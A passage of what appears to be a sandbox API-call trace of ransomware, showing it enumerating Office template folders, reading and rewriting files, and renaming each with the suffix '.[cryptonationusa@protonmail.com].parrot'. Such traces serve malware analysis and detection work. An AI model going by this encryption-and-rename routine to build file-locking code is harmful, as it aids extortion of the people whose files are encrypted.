returned 1 [0240.878] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.878] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x47014, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x47014, lpOverlapped=0x0) returned 1 [0240.898] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.916] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.916] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.918] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.918] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11d28, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11d28, lpOverlapped=0x0) returned 1 [0240.925] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.937] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.937] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.938] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.939] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12042, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12042, lpOverlapped=0x0) returned 1 [0240.941] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.953] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.953] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.955] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.955] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d49a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d49a, lpOverlapped=0x0) returned 1 [0240.963] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.977] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.977] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.979] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.979] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcb42a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcb42a, lpOverlapped=0x0) returned 1 [0241.071] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.250] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.250] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.252] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.252] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b00c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b00c, lpOverlapped=0x0) returned 1 [0241.260] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.317] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.317] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.319] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.319] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a4d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4a4d, lpOverlapped=0x0) returned 1 [0241.320] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.326] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0241.328] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0241.328] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.328] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0241.328] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0241.328] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1 [0241.328] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.329] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0241.330] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.330] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1443f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1443f, lpOverlapped=0x0) returned 1 [0241.332] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.337] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.337] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0241.339] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.339] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19972, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x19972, lpOverlapped=0x0) returned 1 [0241.340] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.345] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.345] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0241.347] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.347] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bbf2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1bbf2, lpOverlapped=0x0) returned 1 [0241.350] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.355] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.355] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0241.356] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.357] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16d67, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16d67, lpOverlapped=0x0) returned 1 [0241.358] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.364] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.364] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0241.365] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.365] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13901, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13901, lpOverlapped=0x0) returned 1 [0241.366] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.371] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0241.371] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bdfebe0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1bdfebe0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.371] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bdb2920, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x14558, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EQUITY~1.PAR")) returned 1 [0241.371] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.371] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.373] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.373] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0241.416] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.416] WriteFile (in: hFile=0x280, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0241.421] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.421] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0241.424] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fa5dd1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0241.424] CloseHandle (hObject=0x280) returned 1 [0241.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.432] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.432] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.473] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.473] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0241.529] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.529] WriteFile (in: hFile=0x280, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0241.534] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.534] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0241.564] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10b5757, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0241.564] CloseHandle (hObject=0x280) returned 1 [0241.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.595] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.595] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0241.596] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.596] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf6a1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf6a1, lpOverlapped=0x0) returned 1 [0241.602] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0241.616] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0241.616] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, 